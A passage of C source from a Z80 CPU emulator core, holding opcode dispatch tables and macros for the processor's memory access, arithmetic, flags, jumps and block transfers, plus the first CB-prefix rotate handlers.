prefix##_f0,prefix##_f1,prefix##_f2,prefix##_f3,prefix##_f4,prefix##_f5,prefix##_f6,prefix##_f7, \
prefix##_f8,prefix##_f9,prefix##_fa,prefix##_fb,prefix##_fc,prefix##_fd,prefix##_fe,prefix##_ff \
}
PROTOTYPES(Z80op,op)
PROTOTYPES(Z80cb,cb)
PROTOTYPES(Z80dd,dd)
PROTOTYPES(Z80ed,ed)
PROTOTYPES(Z80fd,fd)
PROTOTYPES(Z80xycb,xycb)
#ifndef BIG_SWITCH
FUNCTABLE(Z80op,op);
#endif
FUNCTABLE(Z80cb,cb);
FUNCTABLE(Z80dd,dd);
FUNCTABLE(Z80ed,ed);
FUNCTABLE(Z80fd,fd);
FUNCTABLE(Z80xycb,xycb);
/****************************************************************************/
/* Burn an odd amount of cycles, that is instructions taking something */
/* different from 4 T-states per opcode (and R increment) */
/****************************************************************************/
INLINE void BURNODD(int cycles, int opcodes, int cyclesum)
{
if( cycles > 0 )
{
R += (cycles / cyclesum) * opcodes;
USE_CYCLES((cycles / cyclesum) * cyclesum * 15);
}
}
/***************************************************************
* define an opcode function
***************************************************************/
#define OP(prefix,opcode) INLINE void prefix##_##opcode(void)
/***************************************************************
* adjust cycle count by n T-states
***************************************************************/
#define CC(prefix,opcode) USE_CYCLES(cc[Z80_TABLE_##prefix][opcode])
/***************************************************************
* execute an opcode
***************************************************************/
#define EXEC(prefix,opcode) \
{ \
unsigned op = opcode; \
CC(prefix,op); \
(*Z80##prefix[op])(); \
}
#if BIG_SWITCH
#define EXEC_INLINE(prefix,opcode) \
{ \
unsigned op = opcode; \
CC(prefix,op); \
switch(op) \
{ \
case 0x00:prefix##_##00();break; case 0x01:prefix##_##01();break; case 0x02:prefix##_##02();break; case 0x03:prefix##_##03();break; \
case 0x04:prefix##_##04();break; case 0x05:prefix##_##05();break; case 0x06:prefix##_##06();break; case 0x07:prefix##_##07();break; \
case 0x08:prefix##_##08();break; case 0x09:prefix##_##09();break; case 0x0a:prefix##_##0a();break; case 0x0b:prefix##_##0b();break; \
case 0x0c:prefix##_##0c();break; case 0x0d:prefix##_##0d();break; case 0x0e:prefix##_##0e();break; case 0x0f:prefix##_##0f();break; \
case 0x10:prefix##_##10();break; case 0x11:prefix##_##11();break; case 0x12:prefix##_##12();break; case 0x13:prefix##_##13();break; \
case 0x14:prefix##_##14();break; case 0x15:prefix##_##15();break; case 0x16:prefix##_##16();break; case 0x17:prefix##_##17();break; \
case 0x18:prefix##_##18();break; case 0x19:prefix##_##19();break; case 0x1a:prefix##_##1a();break; case 0x1b:prefix##_##1b();break; \
case 0x1c:prefix##_##1c();break; case 0x1d:prefix##_##1d();break; case 0x1e:prefix##_##1e();break; case 0x1f:prefix##_##1f();break; \
case 0x20:prefix##_##20();break; case 0x21:prefix##_##21();break; case 0x22:prefix##_##22();break; case 0x23:prefix##_##23();break; \
case 0x24:prefix##_##24();break; case 0x25:prefix##_##25();break; case 0x26:prefix##_##26();break; case 0x27:prefix##_##27();break; \
case 0x28:prefix##_##28();break; case 0x29:prefix##_##29();break; case 0x2a:prefix##_##2a();break; case 0x2b:prefix##_##2b();break; \
case 0x2c:prefix##_##2c();break; case 0x2d:prefix##_##2d();break; case 0x2e:prefix##_##2e();break; case 0x2f:prefix##_##2f();break; \
case 0x30:prefix##_##30();break; case 0x31:prefix##_##31();break; case 0x32:prefix##_##32();break; case 0x33:prefix##_##33();break; \
case 0x34:prefix##_##34();break; case 0x35:prefix##_##35();break; case 0x36:prefix##_##36();break; case 0x37:prefix##_##37();break; \
case 0x38:prefix##_##38();break; case 0x39:prefix##_##39();break; case 0x3a:prefix##_##3a();break; case 0x3b:prefix##_##3b();break; \
case 0x3c:prefix##_##3c();break; case 0x3d:prefix##_##3d();break; case 0x3e:prefix##_##3e();break; case 0x3f:prefix##_##3f();break; \
case 0x40:prefix##_##40();break; case 0x41:prefix##_##41();break; case 0x42:prefix##_##42();break; case 0x43:prefix##_##43();break; \
case 0x44:prefix##_##44();break; case 0x45:prefix##_##45();break; case 0x46:prefix##_##46();break; case 0x47:prefix##_##47();break; \
case 0x48:prefix##_##48();break; case 0x49:prefix##_##49();break; case 0x4a:prefix##_##4a();break; case 0x4b:prefix##_##4b();break; \
case 0x4c:prefix##_##4c();break; case 0x4d:prefix##_##4d();break; case 0x4e:prefix##_##4e();break; case 0x4f:prefix##_##4f();break; \
case 0x50:prefix##_##50();break; case 0x51:prefix##_##51();break; case 0x52:prefix##_##52();break; case 0x53:prefix##_##53();break; \
case 0x54:prefix##_##54();break; case 0x55:prefix##_##55();break; case 0x56:prefix##_##56();break; case 0x57:prefix##_##57();break; \
case 0x58:prefix##_##58();break; case 0x59:prefix##_##59();break; case 0x5a:prefix##_##5a();break; case 0x5b:prefix##_##5b();break; \
case 0x5c:prefix##_##5c();break; case 0x5d:prefix##_##5d();break; case 0x5e:prefix##_##5e();break; case 0x5f:prefix##_##5f();break; \
case 0x60:prefix##_##60();break; case 0x61:prefix##_##61();break; case 0x62:prefix##_##62();break; case 0x63:prefix##_##63();break; \
case 0x64:prefix##_##64();break; case 0x65:prefix##_##65();break; case 0x66:prefix##_##66();break; case 0x67:prefix##_##67();break; \
case 0x68:prefix##_##68();break; case 0x69:prefix##_##69();break; case 0x6a:prefix##_##6a();break; case 0x6b:prefix##_##6b();break; \
case 0x6c:prefix##_##6c();break; case 0x6d:prefix##_##6d();break; case 0x6e:prefix##_##6e();break; case 0x6f:prefix##_##6f();break; \
case 0x70:prefix##_##70();break; case 0x71:prefix##_##71();break; case 0x72:prefix##_##72();break; case 0x73:prefix##_##73();break; \
case 0x74:prefix##_##74();break; case 0x75:prefix##_##75();break; case 0x76:prefix##_##76();break; case 0x77:prefix##_##77();break; \
case 0x78:prefix##_##78();break; case 0x79:prefix##_##79();break; case 0x7a:prefix##_##7a();break; case 0x7b:prefix##_##7b();break; \
case 0x7c:prefix##_##7c();break; case 0x7d:prefix##_##7d();break; case 0x7e:prefix##_##7e();break; case 0x7f:prefix##_##7f();break; \
case 0x80:prefix##_##80();break; case 0x81:prefix##_##81();break; case 0x82:prefix##_##82();break; case 0x83:prefix##_##83();break; \
case 0x84:prefix##_##84();break; case 0x85:prefix##_##85();break; case 0x86:prefix##_##86();break; case 0x87:prefix##_##87();break; \
case 0x88:prefix##_##88();break; case 0x89:prefix##_##89();break; case 0x8a:prefix##_##8a();break; case 0x8b:prefix##_##8b();break; \
case 0x8c:prefix##_##8c();break; case 0x8d:prefix##_##8d();break; case 0x8e:prefix##_##8e();break; case 0x8f:prefix##_##8f();break; \
case 0x90:prefix##_##90();break; case 0x91:prefix##_##91();break; case 0x92:prefix##_##92();break; case 0x93:prefix##_##93();break; \
case 0x94:prefix##_##94();break; case 0x95:prefix##_##95();break; case 0x96:prefix##_##96();break; case 0x97:prefix##_##97();break; \
case 0x98:prefix##_##98();break; case 0x99:prefix##_##99();break; case 0x9a:prefix##_##9a();break; case 0x9b:prefix##_##9b();break; \
case 0x9c:prefix##_##9c();break; case 0x9d:prefix##_##9d();break; case 0x9e:prefix##_##9e();break; case 0x9f:prefix##_##9f();break; \
case 0xa0:prefix##_##a0();break; case 0xa1:prefix##_##a1();break; case 0xa2:prefix##_##a2();break; case 0xa3:prefix##_##a3();break; \
case 0xa4:prefix##_##a4();break; case 0xa5:prefix##_##a5();break; case 0xa6:prefix##_##a6();break; case 0xa7:prefix##_##a7();break; \
case 0xa8:prefix##_##a8();break; case 0xa9:prefix##_##a9();break; case 0xaa:prefix##_##aa();break; case 0xab:prefix##_##ab();break; \
case 0xac:prefix##_##ac();break; case 0xad:prefix##_##ad();break; case 0xae:prefix##_##ae();break; case 0xaf:prefix##_##af();break; \
case 0xb0:prefix##_##b0();break; case 0xb1:prefix##_##b1();break; case 0xb2:prefix##_##b2();break; case 0xb3:prefix##_##b3();break; \
case 0xb4:prefix##_##b4();break; case 0xb5:prefix##_##b5();break; case 0xb6:prefix##_##b6();break; case 0xb7:prefix##_##b7();break; \
case 0xb8:prefix##_##b8();break; case 0xb9:prefix##_##b9();break; case 0xba:prefix##_##ba();break; case 0xbb:prefix##_##bb();break; \
case 0xbc:prefix##_##bc();break; case 0xbd:prefix##_##bd();break; case 0xbe:prefix##_##be();break; case 0xbf:prefix##_##bf();break; \
case 0xc0:prefix##_##c0();break; case 0xc1:prefix##_##c1();break; case 0xc2:prefix##_##c2();break; case 0xc3:prefix##_##c3();break; \
case 0xc4:prefix##_##c4();break; case 0xc5:prefix##_##c5();break; case 0xc6:prefix##_##c6();break; case 0xc7:prefix##_##c7();break; \
case 0xc8:prefix##_##c8();break; case 0xc9:prefix##_##c9();break; case 0xca:prefix##_##ca();break; case 0xcb:prefix##_##cb();break; \
case 0xcc:prefix##_##cc();break; case 0xcd:prefix##_##cd();break; case 0xce:prefix##_##ce();break; case 0xcf:prefix##_##cf();break; \
case 0xd0:prefix##_##d0();break; case 0xd1:prefix##_##d1();break; case 0xd2:prefix##_##d2();break; case 0xd3:prefix##_##d3();break; \
case 0xd4:prefix##_##d4();break; case 0xd5:prefix##_##d5();break; case 0xd6:prefix##_##d6();break; case 0xd7:prefix##_##d7();break; \
case 0xd8:prefix##_##d8();break; case 0xd9:prefix##_##d9();break; case 0xda:prefix##_##da();break; case 0xdb:prefix##_##db();break; \
case 0xdc:prefix##_##dc();break; case 0xdd:prefix##_##dd();break; case 0xde:prefix##_##de();break; case 0xdf:prefix##_##df();break; \
case 0xe0:prefix##_##e0();break; case 0xe1:prefix##_##e1();break; case 0xe2:prefix##_##e2();break; case 0xe3:prefix##_##e3();break; \
case 0xe4:prefix##_##e4();break; case 0xe5:prefix##_##e5();break; case 0xe6:prefix##_##e6();break; case 0xe7:prefix##_##e7();break; \
case 0xe8:prefix##_##e8();break; case 0xe9:prefix##_##e9();break; case 0xea:prefix##_##ea();break; case 0xeb:prefix##_##eb();break; \
case 0xec:prefix##_##ec();break; case 0xed:prefix##_##ed();break; case 0xee:prefix##_##ee();break; case 0xef:prefix##_##ef();break; \
case 0xf0:prefix##_##f0();break; case 0xf1:prefix##_##f1();break; case 0xf2:prefix##_##f2();break; case 0xf3:prefix##_##f3();break; \
case 0xf4:prefix##_##f4();break; case 0xf5:prefix##_##f5();break; case 0xf6:prefix##_##f6();break; case 0xf7:prefix##_##f7();break; \
case 0xf8:prefix##_##f8();break; case 0xf9:prefix##_##f9();break; case 0xfa:prefix##_##fa();break; case 0xfb:prefix##_##fb();break; \
case 0xfc:prefix##_##fc();break; case 0xfd:prefix##_##fd();break; case 0xfe:prefix##_##fe();break; case 0xff:prefix##_##ff();break; \
} \
}
#else
#define EXEC_INLINE EXEC
#endif
/***************************************************************
* Enter HALT state; write 1 to fake port on first execution
***************************************************************/
#define ENTER_HALT { \
PC--; \
HALT = 1; \
}
/***************************************************************
* Leave HALT state; write 0 to fake port
***************************************************************/
#define LEAVE_HALT { \
if( HALT ) \
{ \
HALT = 0; \
PC++; \
} \
}
/***************************************************************
* Input a byte from given I/O port
***************************************************************/
#define IN(port) z80_readport(port)
/***************************************************************
* Output a byte to given I/O port
***************************************************************/
#define OUT(port,value) z80_writeport(port,value)
/***************************************************************
* Read a byte from given memory location
***************************************************************/
#define RM(addr) z80_readmem(addr)
/***************************************************************
* Write a byte to given memory location
***************************************************************/
#define WM(addr,value) z80_writemem(addr,value)
/***************************************************************
* Read a word from given memory location
***************************************************************/
INLINE void RM16( UINT32 addr, PAIR *r )
{
r->b.l = RM(addr);
r->b.h = RM((addr+1)&0xffff);
}
/***************************************************************
* Write a word to given memory location
***************************************************************/
INLINE void WM16( UINT32 addr, PAIR *r )
{
WM(addr,r->b.l);
WM((addr+1)&0xffff,r->b.h);
}
/***************************************************************
* ROP() is identical to RM() except it is used for
* reading opcodes. In case of system with memory mapped I/O,
* this function can be used to greatly speed up emulation
***************************************************************/
INLINE UINT8 ROP(void)
{
unsigned pc = PCD;
PC++;
return cpu_readop(pc);
}
/****************************************************************
* ARG() is identical to ROP() except it is used
* for reading opcode arguments. This difference can be used to
* support systems that use different encoding mechanisms for
* opcodes and opcode arguments
***************************************************************/
INLINE UINT8 ARG(void)
{
unsigned pc = PCD;
PC++;
return cpu_readop_arg(pc);
}
INLINE UINT32 ARG16(void)
{
unsigned pc = PCD;
PC += 2;
return cpu_readop_arg(pc) | (cpu_readop_arg((pc+1)&0xffff) << 8);
}
/***************************************************************
* Calculate the effective address EA of an opcode using
* IX+offset resp. IY+offset addressing.
***************************************************************/
#define EAX do { EA = (UINT32)(UINT16)(IX + (INT8)ARG()); WZ = EA; } while (0)
#define EAY do { EA = (UINT32)(UINT16)(IY + (INT8)ARG()); WZ = EA; } while (0)
/***************************************************************
* POP
***************************************************************/
#define POP(DR) do { RM16( SPD, &Z80.DR ); SP += 2; } while (0)
/***************************************************************
* PUSH
***************************************************************/
#define PUSH(SR) do { SP -= 2; WM16( SPD, &Z80.SR ); } while (0)
/***************************************************************
* JP
***************************************************************/
#define JP { \
PCD = ARG16(); \
WZ = PCD; \
}
/***************************************************************
* JP_COND
***************************************************************/
#define JP_COND(cond) { \
if (cond) \
{ \
PCD = ARG16(); \
WZ = PCD; \
} \
else \
{ \
WZ = ARG16(); /* implicit do PC += 2 */ \
} \
}
/***************************************************************
* JR
***************************************************************/
#define JR() { \
INT8 arg = (INT8)ARG(); /* ARG() also increments PC */ \
PC += arg; /* so don't do PC += ARG() */ \
WZ = PC; \
}
/***************************************************************
* JR_COND
***************************************************************/
#define JR_COND(cond, opcode) { \
if (cond) \
{ \
JR(); \
CC(ex, opcode); \
} \
else PC++; \
}
/***************************************************************
* CALL
***************************************************************/
#define CALL() { \
EA = ARG16(); \
WZ = EA; \
PUSH(pc); \
PCD = EA; \
}
/***************************************************************
* CALL_COND
***************************************************************/
#define CALL_COND(cond, opcode) { \
if (cond) \
{ \
EA = ARG16(); \
WZ = EA; \
PUSH(pc); \
PCD = EA; \
CC(ex, opcode); \
} \
else \
{ \
WZ = ARG16(); /* implicit call PC+=2; */ \
} \
}
/***************************************************************
* RET_COND
***************************************************************/
#define RET_COND(cond, opcode) do { \
if (cond) \
{ \
POP(pc); \
WZ = PC; \
CC(ex, opcode); \
} \
} while (0)
/***************************************************************
* RETN
***************************************************************/
#define RETN do { \
LOG(("Z80 #%d RETN IFF1:%d IFF2:%d\n", cpu_getactivecpu(), IFF1, IFF2)); \
POP( pc ); \
WZ = PC; \
IFF1 = IFF2; \
} while (0)
/***************************************************************
* RETI
***************************************************************/
#define RETI { \
POP( pc ); \
WZ = PC; \
/* according to http://www.msxnet.org/tech/z80-documented.pdf */ \
IFF1 = IFF2; \
}
/***************************************************************
* LD R,A
***************************************************************/
#define LD_R_A { \
R = A; \
R2 = A & 0x80; /* keep bit 7 of R */ \
}
/***************************************************************
* LD A,R
***************************************************************/
#define LD_A_R { \
A = (R & 0x7f) | R2; \
F = (F & CF) | SZ[A] | ( IFF2 << 2 ); \
}
/***************************************************************
* LD I,A
***************************************************************/
#define LD_I_A { \
I = A; \
}
/***************************************************************
* LD A,I
***************************************************************/
#define LD_A_I { \
A = I; \
F = (F & CF) | SZ[A] | ( IFF2 << 2 ); \
}
/***************************************************************
* RST
***************************************************************/
#define RST(addr) \
PUSH( pc ); \
PCD = addr; \
WZ = PC; \
/***************************************************************
* INC r8
***************************************************************/
INLINE UINT8 INC(UINT8 value)
{
UINT8 res = value + 1;
F = (F & CF) | SZHV_inc[res];
return (UINT8)res;
}
/***************************************************************
* DEC r8
***************************************************************/
INLINE UINT8 DEC(UINT8 value)
{
UINT8 res = value - 1;
F = (F & CF) | SZHV_dec[res];
return res;
}
/***************************************************************
* RLCA
***************************************************************/
#define RLCA \
A = (A << 1) | (A >> 7); \
F = (F & (SF | ZF | PF)) | (A & (YF | XF | CF))
/***************************************************************
* RRCA
***************************************************************/
#define RRCA \
F = (F & (SF | ZF | PF)) | (A & CF); \
A = (A >> 1) | (A << 7); \
F |= (A & (YF | XF) )
/***************************************************************
* RLA
***************************************************************/
#define RLA { \
UINT8 res = (A << 1) | (F & CF); \
UINT8 c = (A & 0x80) ? CF : 0; \
F = (F & (SF | ZF | PF)) | c | (res & (YF | XF)); \
A = res; \
}
/***************************************************************
* RRA
***************************************************************/
#define RRA { \
UINT8 res = (A >> 1) | (F << 7); \
UINT8 c = (A & 0x01) ? CF : 0; \
F = (F & (SF | ZF | PF)) | c | (res & (YF | XF)); \
A = res; \
}
/***************************************************************
* RRD
***************************************************************/
#define RRD { \
UINT8 n = RM(HL); \
WZ = HL+1; \
WM( HL, (n >> 4) | (A << 4) ); \
A = (A & 0xf0) | (n & 0x0f); \
F = (F & CF) | SZP[A]; \
}
/***************************************************************
* RLD
***************************************************************/
#define RLD { \
UINT8 n = RM(HL); \
WZ = HL+1; \
WM( HL, (n << 4) | (A & 0x0f) ); \
A = (A & 0xf0) | (n >> 4); \
F = (F & CF) | SZP[A]; \
}
/***************************************************************
* ADD A,n
***************************************************************/
#define ADD(value) \
{ \
UINT32 ah = AFD & 0xff00; \
UINT32 res = (UINT8)((ah >> 8) + value); \
F = SZHVC_add[ah | res]; \
A = res; \
}
/***************************************************************
* ADC A,n
***************************************************************/
#define ADC(value) \
{ \
UINT32 ah = AFD & 0xff00, c = AFD & 1; \
UINT32 res = (UINT8)((ah >> 8) + value + c); \
F = SZHVC_add[(c << 16) | ah | res]; \
A = res; \
}
/***************************************************************
* SUB n
***************************************************************/
#define SUB(value) \
{ \
UINT32 ah = AFD & 0xff00; \
UINT32 res = (UINT8)((ah >> 8) - value); \
F = SZHVC_sub[ah | res]; \
A = res; \
}
/***************************************************************
* SBC A,n
***************************************************************/
#define SBC(value) \
{ \
UINT32 ah = AFD & 0xff00, c = AFD & 1; \
UINT32 res = (UINT8)((ah >> 8) - value - c); \
F = SZHVC_sub[(c<<16) | ah | res]; \
A = res; \
}
/***************************************************************
* NEG
***************************************************************/
#define NEG { \
UINT8 value = A; \
A = 0; \
SUB(value); \
}
/***************************************************************
* DAA
***************************************************************/
#define DAA { \
UINT8 a = A; \
if (F & NF) { \
if ((F&HF) | ((A&0xf)>9)) a-=6; \
if ((F&CF) | (A>0x99)) a-=0x60; \
} \
else { \
if ((F&HF) | ((A&0xf)>9)) a+=6; \
if ((F&CF) | (A>0x99)) a+=0x60; \
} \
\
F = (F&(CF|NF)) | (A>0x99) | ((A^a)&HF) | SZP[a]; \
A = a; \
}
/***************************************************************
* AND n
***************************************************************/
#define AND(value) \
A &= value; \
F = SZP[A] | HF
/***************************************************************
* OR n
***************************************************************/
#define OR(value) \
A |= value; \
F = SZP[A]
/***************************************************************
* XOR n
***************************************************************/
#define XOR(value) \
A ^= value; \
F = SZP[A]
/***************************************************************
* CP n
***************************************************************/
#define CP(value) \
{ \
unsigned val = value; \
UINT32 ah = AFD & 0xff00; \
UINT32 res = (UINT8)((ah >> 8) - val); \
F = (SZHVC_sub[ah | res] & ~(YF | XF)) | (val & (YF | XF)); \
}
/***************************************************************
* EX AF,AF'
***************************************************************/
#define EX_AF \
{ \
PAIR tmp; \
tmp = Z80.af; Z80.af = Z80.af2; Z80.af2 = tmp; \
}
/***************************************************************
* EX DE,HL
***************************************************************/
#define EX_DE_HL \
{ \
PAIR tmp; \
tmp = Z80.de; Z80.de = Z80.hl; Z80.hl = tmp; \
}
/***************************************************************
* EXX
***************************************************************/
#define EXX \
{ \
PAIR tmp; \
tmp = Z80.bc; Z80.bc = Z80.bc2; Z80.bc2 = tmp; \
tmp = Z80.de; Z80.de = Z80.de2; Z80.de2 = tmp; \
tmp = Z80.hl; Z80.hl = Z80.hl2; Z80.hl2 = tmp; \
}
/***************************************************************
* EX (SP),r16
***************************************************************/
#define EXSP(DR) \
{ \
PAIR tmp = { { 0, 0, 0, 0 } }; \
RM16( SPD, &tmp ); \
WM16( SPD, &Z80.DR ); \
Z80.DR = tmp; \
WZ = Z80.DR.d; \
}
/***************************************************************
* ADD16
***************************************************************/
#define ADD16(DR,SR) \
{ \
UINT32 res = Z80.DR.d + Z80.SR.d; \
WZ = Z80.DR.d + 1; \
F = (F & (SF | ZF | VF)) | \
(((Z80.DR.d ^ res ^ Z80.SR.d) >> 8) & HF) | \
((res >> 16) & CF) | ((res >> 8) & (YF | XF)); \
Z80.DR.w.l = (UINT16)res; \
}
/***************************************************************
* ADC r16,r16
***************************************************************/
#define ADC16(Reg) \
{ \
UINT32 res = HLD + Z80.Reg.d + (F & CF); \
WZ = HL + 1; \
F = (((HLD ^ res ^ Z80.Reg.d) >> 8) & HF) | \
((res >> 16) & CF) | \
((res >> 8) & (SF | YF | XF)) | \
((res & 0xffff) ? 0 : ZF) | \
(((Z80.Reg.d ^ HLD ^ 0x8000) & (Z80.Reg.d ^ res) & 0x8000) >> 13); \
HL = (UINT16)res; \
}
/***************************************************************
* SBC r16,r16
***************************************************************/
#define SBC16(Reg) \
{ \
UINT32 res = HLD - Z80.Reg.d - (F & CF); \
WZ = HL + 1; \
F = (((HLD ^ res ^ Z80.Reg.d) >> 8) & HF) | NF | \
((res >> 16) & CF) | \
((res >> 8) & (SF | YF | XF)) | \
((res & 0xffff) ? 0 : ZF) | \
(((Z80.Reg.d ^ HLD) & (HLD ^ res) &0x8000) >> 13); \
HL = (UINT16)res; \
}
/***************************************************************
* RLC r8
***************************************************************/
INLINE UINT8 RLC(UINT8 value)
{
unsigned res = value;
unsigned c = (res & 0x80) ? CF : 0;
res = ((res << 1) | (res >> 7)) & 0xff;
F = SZP[res] | c;
return res;
}
/***************************************************************
* RRC r8
***************************************************************/
INLINE UINT8 RRC(UINT8 value)
{
unsigned res = value;
unsigned c = (res & 0x01) ? CF : 0;
res = ((res >> 1) | (res << 7)) & 0xff;
F = SZP[res] | c;
return res;
}
/***************************************************************
* RL r8
***************************************************************/
INLINE UINT8 RL(UINT8 value)
{
unsigned res = value;
unsigned c = (res & 0x80) ? CF : 0;
res = ((res << 1) | (F & CF)) & 0xff;
F = SZP[res] | c;
return res;
}
/***************************************************************
* RR r8
***************************************************************/
INLINE UINT8 RR(UINT8 value)
{
unsigned res = value;
unsigned c = (res & 0x01) ? CF : 0;
res = ((res >> 1) | (F << 7)) & 0xff;
F = SZP[res] | c;
return res;
}
/***************************************************************
* SLA r8
***************************************************************/
INLINE UINT8 SLA(UINT8 value)
{
unsigned res = value;
unsigned c = (res & 0x80) ? CF : 0;
res = (res << 1) & 0xff;
F = SZP[res] | c;
return res;
}
/***************************************************************
* SRA r8
***************************************************************/
INLINE UINT8 SRA(UINT8 value)
{
unsigned res = value;
unsigned c = (res & 0x01) ? CF : 0;
res = ((res >> 1) | (res & 0x80)) & 0xff;
F = SZP[res] | c;
return res;
}
/***************************************************************
* SLL r8
***************************************************************/
INLINE UINT8 SLL(UINT8 value)
{
unsigned res = value;
unsigned c = (res & 0x80) ? CF : 0;
res = ((res << 1) | 0x01) & 0xff;
F = SZP[res] | c;
return res;
}
/***************************************************************
* SRL r8
***************************************************************/
INLINE UINT8 SRL(UINT8 value)
{
unsigned res = value;
unsigned c = (res & 0x01) ? CF : 0;
res = (res >> 1) & 0xff;
F = SZP[res] | c;
return res;
}
/***************************************************************
* BIT bit,r8
***************************************************************/
#undef BIT
#define BIT(bit,reg) \
F = (F & CF) | HF | (SZ_BIT[reg & (1<<bit)] & ~(YF|XF)) | (reg & (YF|XF))
/***************************************************************
* BIT bit,(HL)
***************************************************************/
#define BIT_HL(bit,reg) \
F = (F & CF) | HF | (SZ_BIT[reg & (1<<bit)] & ~(YF|XF)) | (WZ_H & (YF|XF))
/***************************************************************
* BIT bit,(IX/Y+o)
***************************************************************/
#define BIT_XY(bit,reg) \
F = (F & CF) | HF | (SZ_BIT[reg & (1<<bit)] & ~(YF|XF)) | ((EA>>8) & (YF|XF))
/***************************************************************
* RES bit,r8
***************************************************************/
INLINE UINT8 RES(UINT8 bit, UINT8 value)
{
return value & ~(1<<bit);
}
/***************************************************************
* SET bit,r8
***************************************************************/
INLINE UINT8 SET(UINT8 bit, UINT8 value)
{
return value | (1<<bit);
}
/***************************************************************
* LDI
***************************************************************/
#define LDI { \
UINT8 io = RM(HL); \
WM( DE, io ); \
F &= SF | ZF | CF; \
if( (A + io) & 0x02 ) F |= YF; /* bit 1 -> flag 5 */ \
if( (A + io) & 0x08 ) F |= XF; /* bit 3 -> flag 3 */ \
HL++; DE++; BC--; \
if( BC ) F |= VF; \
}
/***************************************************************
* CPI
***************************************************************/
#define CPI { \
UINT8 val = RM(HL); \
UINT8 res = A - val; \
WZ++; \
HL++; BC--; \
F = (F & CF) | (SZ[res]&~(YF|XF)) | ((A^val^res)&HF) | NF; \
if( F & HF ) res -= 1; \
if( res & 0x02 ) F |= YF; /* bit 1 -> flag 5 */ \
if( res & 0x08 ) F |= XF; /* bit 3 -> flag 3 */ \
if( BC ) F |= VF; \
}
/***************************************************************
* INI
***************************************************************/
#define INI { \
unsigned t; \
UINT8 io = IN(BC); \
WZ = BC + 1; \
CC(ex,0xa2); \
B--; \
WM( HL, io ); \
HL++; \
F = SZ[B]; \
t = (unsigned)((C + 1) & 0xff) + (unsigned)io; \
if( io & SF ) F |= NF; \
if( t & 0x100 ) F |= HF | CF; \
F |= SZP[(UINT8)(t & 0x07) ^ B] & PF; \
}
/***************************************************************
* OUTI
***************************************************************/
#define OUTI { \
unsigned t; \
UINT8 io = RM(HL); \
B--; \
WZ = BC + 1; \
OUT( BC, io ); \
HL++; \
F = SZ[B]; \
t = (unsigned)L + (unsigned)io; \
if( io & SF ) F |= NF; \
if( t & 0x100 ) F |= HF | CF; \
F |= SZP[(UINT8)(t & 0x07) ^ B] & PF; \
}
/***************************************************************
* LDD
***************************************************************/
#define LDD { \
UINT8 io = RM(HL); \
WM( DE, io ); \
F &= SF | ZF | CF; \
if( (A + io) & 0x02 ) F |= YF; /* bit 1 -> flag 5 */ \
if( (A + io) & 0x08 ) F |= XF; /* bit 3 -> flag 3 */ \
HL--; DE--; BC--; \
if( BC ) F |= VF; \
}
/***************************************************************
* CPD
***************************************************************/
#define CPD { \
UINT8 val = RM(HL); \
UINT8 res = A - val; \
WZ--; \
HL--; BC--; \
F = (F & CF) | (SZ[res]&~(YF|XF)) | ((A^val^res)&HF) | NF; \
if( F & HF ) res -= 1; \
if( res & 0x02 ) F |= YF; /* bit 1 -> flag 5 */ \
if( res & 0x08 ) F |= XF; /* bit 3 -> flag 3 */ \
if( BC ) F |= VF; \
}
/***************************************************************
* IND
***************************************************************/
#define IND { \
unsigned t; \
UINT8 io = IN(BC); \
WZ = BC - 1; \
CC(ex,0xaa); \
B--; \
WM( HL, io ); \
HL--; \
F = SZ[B]; \
t = ((unsigned)(C - 1) & 0xff) + (unsigned)io; \
if( io & SF ) F |= NF; \
if( t & 0x100 ) F |= HF | CF; \
F |= SZP[(UINT8)(t & 0x07) ^ B] & PF; \
}
/***************************************************************
* OUTD
***************************************************************/
#define OUTD { \
unsigned t; \
UINT8 io = RM(HL); \
B--; \
WZ = BC - 1; \
OUT( BC, io ); \
HL--; \
F = SZ[B]; \
t = (unsigned)L + (unsigned)io; \
if( io & SF ) F |= NF; \
if( t & 0x100 ) F |= HF | CF; \
F |= SZP[(UINT8)(t & 0x07) ^ B] & PF; \
}
/***************************************************************
* LDIR
***************************************************************/
#define LDIR \
LDI; \
if( BC ) \
{ \
PC -= 2; \
WZ = PC + 1; \
CC(ex,0xb0); \
}
/***************************************************************
* CPIR
***************************************************************/
#define CPIR \
CPI; \
if( BC && !(F & ZF) ) \
{ \
PC -= 2; \
WZ = PC + 1; \
CC(ex,0xb1); \
}
/***************************************************************
* INIR
***************************************************************/
#define INIR \
INI; \
if( B ) \
{ \
PC -= 2; \
CC(ex,0xb2); \
}
/***************************************************************
* OTIR
***************************************************************/
#define OTIR \
OUTI; \
if( B ) \
{ \
PC -= 2; \
CC(ex,0xb3); \
}
/***************************************************************
* LDDR
***************************************************************/
#define LDDR \
LDD; \
if( BC ) \
{ \
PC -= 2; \
WZ = PC + 1; \
CC(ex,0xb8); \
}
/***************************************************************
* CPDR
***************************************************************/
#define CPDR \
CPD; \
if( BC && !(F & ZF) ) \
{ \
PC -= 2; \
WZ = PC + 1; \
CC(ex,0xb9); \
}
/***************************************************************
* INDR
***************************************************************/
#define INDR \
IND; \
if( B ) \
{ \
PC -= 2; \
CC(ex,0xba); \
}
/***************************************************************
* OTDR
***************************************************************/
#define OTDR \
OUTD; \
if( B ) \
{ \
PC -= 2; \
CC(ex,0xbb); \
}
/***************************************************************
* EI
***************************************************************/
#define EI { \
IFF1 = IFF2 = 1; \
Z80.after_ei = TRUE; \
}
/**********************************************************
* opcodes with CB prefix
* rotate, shift and bit operations
**********************************************************/
OP(cb,00) { B = RLC(B); } /* RLC B */
OP(cb,01) { C = RLC(C); } /* RLC C */
OP(cb,02) { D = RLC(D); } /* RLC D */
OP(cb,03) { E = RLC(E); } /* RLC E */
OP(cb,04) { H = RLC(H); } /* RLC H */
OP(cb,05) { L = RLC(L); } /* RLC L */
OP(cb,06) { WM( HL, RLC(RM(HL)) ); } /* RLC (HL) */
OP(cb,07) { A = RLC(A); } /* RLC A */
OP(cb,08) { B = RRC(B); } /* RRC B */
OP(cb,09) { C = RRC(C); } /* RRC C */
OP(cb,0a) { D = RRC(D); } /* RRC D */
OP(cb,0b) { E = RRC(E); } /* RRC E */
OP(cb,0c) { H = RRC(H); } /* RRC H */
OP(cb,0d) { L = RRC(L); } /* RRC L */
OP(cb,0e) { WM( HL, RRC(RM(HL)) ); } /* RRC (HL) */
OP(cb,0f) { A = RRC(A); } /* RRC A */
OP(cb,10) { B = RL(B); } /* RL B */
OP(cb,11) { C = RL(C); } /* RL C */
OP(cb,12) { D = RL(D); } /* RL D */
OP(cb,13) { E = RL(E); } /* RL E */
